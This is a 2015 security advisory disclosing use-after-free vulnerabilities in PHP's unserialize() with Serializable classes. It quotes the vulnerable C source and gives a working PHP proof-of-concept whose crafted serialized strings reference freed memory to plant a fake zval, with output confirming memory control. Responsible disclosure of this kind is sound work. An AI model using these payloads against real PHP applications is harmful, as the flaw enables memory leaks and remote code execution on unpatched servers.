Use After Free Vulnerabilities in unserialize()
Taoguang Chen <[@chtg](http://github.com/chtg)>
Write Date: 2015.7.31
Release Date: 2015.9.4
Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
if (ce->unserialize == NULL) {
zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
object_init_ex(rval, ce);
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
return 0;
}
(*p) += datalen;
return finish_nested_data(UNSERIALIZE_PASSTHRU);
The unserialize() with Serializable class lead to various problems.
i) Free the memory via crafted Serializable class
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
$this->data = 1;
}
}
?>
ii) Free the memory via the process_nested_data() with a invalid
serialized string
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
while (elements-- > 0) {
zval *key, *data, **old_data;
...
ALLOC_INIT_ZVAL(data);
if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
zval_dtor(key);
FREE_ZVAL(key);
zval_dtor(data);
FREE_ZVAL(data); <=== free the memory
return 0;
}
iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{
...
while (var_hash) {
for (i = 0; i < var_hash->used_slots; i++) {
zval_ptr_dtor(&var_hash->data[i]); <=== free the memory
}
...
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{
...
if (*rval != NULL) {
var_push_dtor_no_addref(var_hash, rval);
}
*rval = *rval_ref;
We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
<?php
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
// i)
// $this->data = '1';
}
}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(2) {
[0]=>
object(obj)#1 (1) {
["data"]=>
bool(false)
}
[1]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
